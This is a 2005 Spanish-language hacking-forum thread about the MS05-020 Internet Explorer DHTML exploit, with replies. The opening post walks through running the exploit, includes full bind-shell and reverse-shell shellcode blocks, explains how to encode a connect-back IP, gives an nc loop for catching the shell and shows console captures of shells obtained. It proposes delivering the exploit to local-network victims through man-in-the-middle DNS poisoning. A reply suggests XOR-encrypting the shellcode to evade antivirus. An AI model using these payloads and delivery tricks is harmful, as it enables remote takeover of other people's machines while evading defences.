elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 17:27  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Internet Explorer DHTML Object handling Exploit (MS05-020)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Internet Explorer DHTML Object handling Exploit (MS05-020)  (Leído 1426 veces)
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.580



Ver Perfil WWW
Internet Explorer DHTML Object handling Exploit (MS05-020)
« en: 17 Abril 2005, 22:28 »

Exploit publicado el 12/04/05 en k-otik: http://www.frsirt.com/exploits/20050412.InternetExploiter2.php
Criticidad: Muy peligroso, permite obtener una shell remota con privilegios de USUARIO.

El autor del exploit es skylined, el mismo q publicó el exploit para la vulnerabilidad del IFRAME en Microsoft Internet Explorer hace unos meses. Como la vulnerabilidad estaba cubierta por SP2, pronto se nos acabó el chollo...
Sin embargo, parece q este nuevo exploit Internet Explorer DHTML Object handling Exploit para la vulnerabilidad MS05-020 sí q funciona con SP2, pero tiene q darse una conjunción planetaria para lograr hacer funcionar este exploit...

El funcionamiento es el siguiente:

0) No tener el parche KB890923 instalado en el sistema víctima.

1) Copiar el código HTML al bloc de notas y guardarlo como exploit.html. Inmediatamente, saltará el Norton AV diciendo q ha detectado un archivo malicioso... (1st hit).

2) Abrir el exploit.html con Microsoft Internet Explorer. Si tienes SP2, el Internet Explorer te bloqueará la ejecución de ActiveX y te mostrará la barrita amarilla en la parte superior del navegador. Acepta la ejecución del ActiveX... (2nd hit).

3) Si tienes un pop-up blocker, no te dejara q se abra una ventana secundaria necesaria para q el exploit se ejecute. Deshabilita el pop-up blocker... (3rd hit).

4) Se abrirá una ventana secundaria donde Internet Explorer te volverá a bloquear la ejecución de ActiveX. Así pues, acepta la ejecución del ActiveX... (4th hit).

5) Ahora sí, se explota la vulnerabilidad y se ejecuta el contenido de la shellcode: Win32 bindshell (port 28876, '\0' free, looping).
Como ya vimos en el exploit IFRAME, el puerto 28876 sólo permanecerá abierto mientras el iexplorer.exe siga en ejecución. Esto es, varios segundos... imposible acertar a conectarse con nc!!
Truco: Antes de empezar a testear el exploit, dejar al nc haciendo polling contínuo al puerto 28876, esto se consigue metiéndolo en un bucle FOR:
Código:
C:\FOR /L %i IN (1,1,10000) DO nc ipvíctima 28876

Al cabo de un tiempo, el nc se conectará al puerto 28876 y obtendrá la shell...

Bueno... ahora empieza lo divertido...

Citar
Joooo!!, q rollo eso de tener q esperar a q se abra el puerto 28876 y tener q conectarme con el nc justo en el instante preciso...

Aunq esto se medio soluciona con el Polling contínuo del nc, no deja de ser una chapuza...
Lo más elegante es sustituir la shellcode por una más eficiente, como una shellcode reverse shell, así q desempolvamos nuestro viejo tutorial de Gospel llamado Gospel.feat.LoReDo-Intrusion.en.Redes.Locales.con.Exploit.IFRAME.pdf, que podéis encontrar en el hilo: http://foro.elhacker.net/index.php/topic,45618.msg228991.html#msg228991

http://www.geocities.com/unrayodesoul/gospel/Gospel.feat.LoReDo-Intrusion.en.Redes.Locales.con.Exploit.IFRAME.pdf

Mirror: http://personal.telefonica.terra.es/web/alexb/manus/Gospel.feat.LoReDo-Intrusion.en.Redes.Locales.con.Exploit.IFRAME.zip

En este paper se habla sobre como modificar una shellcode en string hexadecimal a UTF-16, para poder implementarla en el exploit HTML. Este método sirve igual para el exploit IFRAME como para este DHTML Object handling, con el q ahora tratamos... (antes comentaba q el autor del exploit es el mismo...)

Hay q cambiar la parte del exploit q dice:

Código:
sShellcode = unescape("%u3737%u3737" +
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to
// HDM and others for inspiration and borrowed code. Source:
// www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
"%u43eb"+"%u5756"+"%u458b"+"%u8b3c"+"%u0554"+"%u0178"+"%u52ea" +
"%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf" +
"%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64" +
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850" +
"%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff" +
"%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22" +
"%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6" +
"%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe" +
"%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031" +
"%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56" +
"%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964" +
"%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353" +
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343" +
"%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031" +
"%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b" +
"%ue8d0%ufec2%uffff%uc483%u615c%u89eb");

por nuestra shellcode reverse shell personalizada para una connectback IP específica:

Código:
sShellcode = unescape("%u3737%u3737" +
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to
// HDM and others for inspiration and borrowed code. Source:
// www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
"%uE1D9%u34D9%u5824%u5858%u8058%uE7E8%uC931%u8166%uACE9%u80FE%u9230%uE240%u7AFA%u92A2%u9292%uDFD1%u92D6%uEB75%uEB54%u6B7E%uF238%u9B4B%u3F67%u7F59%uA96E%uDC1C%u7E9C%u4AEC%uE170%u4B3F%u5C97%u6CE0%u8421%uC1C5%uCDA0%uA0A1%uD6BC%uDEDE%u9392%uC6C9%u771B%uCF1B%uF892%uCBA2%u19F6%u1993%u9ED2%uE219%u3F8E%uCA19%u799A%u1F9E%uB6C5%uC0C3%u426D%u511B%u79CB%uF882%uCC9A%u7C93%u9AF8%u19CB%u92EF%u6B12%uE696%uC376%u6DC1%u1DA6%u1A7A%u9292%uCB92%u961B%u701C%uA379%uF46D%u7E13%u9302%uFAC6%u9393%u9292%uC76D%uC58A%uC5C5%uD5C5%uD5C5%u6DC5%u86C7%u511B%u6DA3%u98FA%u9298%uFAD7%u9290%u83B0%u731B%u82F8%uC1C3%uC76D%u1782%uE752%u1FDB%uB6AE%u52A3%u87F8%u61CB%u5439%uB6D6%uD682%u55F4%uB6D6%u93AE%u1B93%uB6CE%u1BDA%uB6CE%u1BDE%uB6CE%u1FC2%uB6D6%uC682%uC3C2%uC3C3%uC3D3%uC3DB%u6DC3%u92E7%u6DC3%uBAC7%u731B%u9C79%u6DFA%u6D6D%u6D6D%u6DA3%uB6C7%u6DC5%u9EC7%uC76D%uC1B2%uC4C7%u19C5%uB6FE%u198A%uAED7%uC619%uEA97%u7893%uD819%u198A%uB2C8%u7993%uA071%u19DB%u19A6%u7C93%u6DA3%uA36E%u3E52%u72AA%u95E6%u5D53%u939F%u7955%uA960%uB6EE%uE786%u1973%uB6C8%u7993%u19F4%uD99E%uC819%u938E%u1979%u1996%u7A93%u9079%u52A3%u781B%uCCCD%uC9CF%u9A50%u6592%u446D%u4F58%u0052");

El algoritmo para cambiar la dirección connectback IP a la q el exploit debe devolver la shell remota es el siguiente:

Citar
// Connnect back IP: 10.10.0.69 (en decimal) > \x0A\x0A\x00\x45 (en hexadecimal) > > \x98\x98\x92\xD7 (XOReando con 0x92)
// \x98\x98\x92\xD7 codificado en UTF-16 -> %u98**%u9298%u**D7
// @ Puerto 8721

Con esta modificación del exploit, obtendremos la shell muchísimo más rápido que si tenemos q esperar a q se abra el puerto para tener q conectarnos con nc.
Para testear esta modificación del exploit, guardamos el exploit.html modificado, dejamos en escucha el nc en el puerto 8721 y lanzamos el exploit siguiendo los pasos arriba descritos. En cuanto se ejecute la shellcode, obtendremos al instante la shell remota.

Estas dos capturas de consola muestran cómo se obtiene la shell remota:

1) Shellcode Bind port 28876:

Citar
C:\>FOR /L %i IN (1,1,10000) DO nc 10.10.0.69 28876

C:\>nc 10.10.0.69 28876

C:\>nc 10.10.0.69 28876

....


C:\>nc 10.10.0.69 28876

C:\>nc 10.10.0.69 28876
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Breeze\Escritorio>


2) Shellcode Reverse Shell al puerto 8721 en connectback IP 10.10.0.69

Citar
C:\>nc -l -p 8721 -vv
listening on [any] 8721 ...
connect to [10.10.0.69] from gospel [10.10.0.69] 1391
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Breeze\Escritorio>


Sobre la vulnerabilidad:

Citar
There is a race condition when using appendChild to append an element in one window to an element in another. A "dirty" read can be exploited to gain control over the process.

Por eso el exploit necesita abrir dos ventanas de Internet Explorer.
Lo del ActiveX, pues hasta eso ya no llego... la verdad es q es un engorro q el navegador bloquee la ejecución del exploit por el Control de seguridad de ActiveX. (Alguien sabe q parte del exploit ejecuta contenido ActiveX??)

Mi conclusión es q el nivel de criticidad del exploit es bastante elevado, ya q permite obtener una shell remota con privilegios de USUARIO. Utilizando este exploit en un entorno de Man in the Middle + envenenamiento DNS con Cain, redireccionando la url www.google.es a una IP cuyo servidor HTTP sirva el .html malicioso, es bastantea factible obtener una shell remota de una víctima situada en nuestra red local. Sin embargo, el hecho de haya que saltarse el nivel de protección de un pop-up blocker y del bloqueador de ActiveX del Internet Explorer en Windows XP SP2, hace q las probabilidades de q una víctima llegue a ejecutar el exploit en su sistema sean muy pequeñas... (tal vez si la víctima utiliza SP1 y no tiene pop-up blocker). Aún así, no ha estado mal trastear con este nuevo exploit...

Algo q comentar??  :D  :D

Salu2
En línea

GutBarr -ZP-

Desconectado Desconectado

Mensajes: 2.932

Ex Colab, Ex Mod, Ex Diseñador...


Ver Perfil WWW
Re: Internet Explorer DHTML Object handling Exploit (MS05-020)
« Respuesta #1 en: 18 Abril 2005, 08:09 »

Uy pero que manera de explicar Gospel jeje no se te escapa nada a ti  ;D clap clap buenisimo, no creo que dejes dudas has barrido las bases y vaciado el estadio xD.

Hasta Pronot  ;)
En línea

Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Internet Explorer DHTML Object handling Exploit (MS05-020)
« Respuesta #2 en: 18 Abril 2005, 08:47 »

Brutal  :)

Chapó gospel, como todo lo que escribes, mamonazo. Ya me gustaria tener a mi tiempo para testear exploits.

Lo que si me gustaria comentar, es que si el Norton (o cualquier AV) detecta la shellcode, esta se podria "encapsular" en una encriptacion XOR por ejemplo a mano, o ya usar un "encriptador" de shellcodes, que los hay por internet a patadas. Si estos encriptadores consiguen evadir el Snort, porque no iban a evadir el Norton?

Pero eso si es la shellcode. Si es el codigo HTML, pues ya la hemos liao, porque ahi me pierdo yo xD

Salu2
En línea
Linuxtron

Desconectado Desconectado

Mensajes: 45



Ver Perfil
Re: Internet Explorer DHTML Object handling Exploit (MS05-020)
« Respuesta #3 en: 18 Abril 2005, 20:49 »

muy bueno, pero joooooooooooooooooooooder todo lo que hay que quitar! xDD  AVS, popus, aceptar activex etc etc.

El primero que lo ejecute remotamente que avise!!!    8)


 ;D
En línea
Ivanchuk

Desconectado Desconectado

Mensajes: 250



Ver Perfil WWW
Re: Internet Explorer DHTML Object handling Exploit (MS05-020)
« Respuesta #4 en: 20 Abril 2005, 01:56 »

 :o Excelente explicacion. Ahora, de que va eso de UTF  ???. He visto algo por la web de la codificacion UTF-16 de los caracteres unicode pero no entiendo como haces para codificar la ip.
bytes...
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.580



Ver Perfil WWW
Re: Internet Explorer DHTML Object handling Exploit (MS05-020)
« Respuesta #5 en: 20 Abril 2005, 14:39 »

Está todo explicado aquí: http://www.geocities.com/unrayodesoul/gospel/Gospel.feat.LoReDo-Intrusion.en.Redes.Locales.con.Exploit.IFRAME.pdf

aunq el algoritmo es simple:
// Connnect back IP: 10.10.0.69 (en decimal) > \x0A\x0A\x00\x45 (en hexadecimal) > > \x98\x98\x92\xD7 (XOReando con 0x92)
// \x98\x98\x92\xD7 codificado en UTF-16 -> %u98**%u9298%u**D7

Herramientas necesarias -> la calculadora científica de Windows  :)
En línea

orphen_nb

Desconectado Desconectado

Mensajes: 128


Ver Perfil
Re: Internet Explorer DHTML Object handling Exploit (MS05-020)
« Respuesta #6 en: 21 Abril 2005, 18:35 »

jeje, gracias por la explicación, Gospel, estupenda:D

a alguien le ha funcionado remotamente? a mi es que me funciona en local (con reverse shell) pero me he instalado el Apache, lo he probado y no me funciona y al abrirlo parece ser que el Apache añade unas líneas al archivo:
Código:
<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>
Si lo abro desde la carpeta \htdocs\ me funciona y no tiene estas lineas de codigo pero al abrirlo "a traves" de Apache me añade estas líneas y ya no me funciona...
A alguien más le pasa esto o solo me pasa a mi? lo habéis logrado hacer funcionar remotamente?

Muchas gracias y Saludos!!
En línea

Human knowledge belongs to the world
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.580



Ver Perfil WWW
Re: Internet Explorer DHTML Object handling Exploit (MS05-020)
« Respuesta #7 en: 21 Abril 2005, 23:41 »

Pues la verdad es q no... sólo lo he probado de forma local...

Q raro eso de q el apache te añada lineas a código!!

Si tengo tiempo lo pruebo...

Gracias por testear y postear resultados!!

Salu2
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats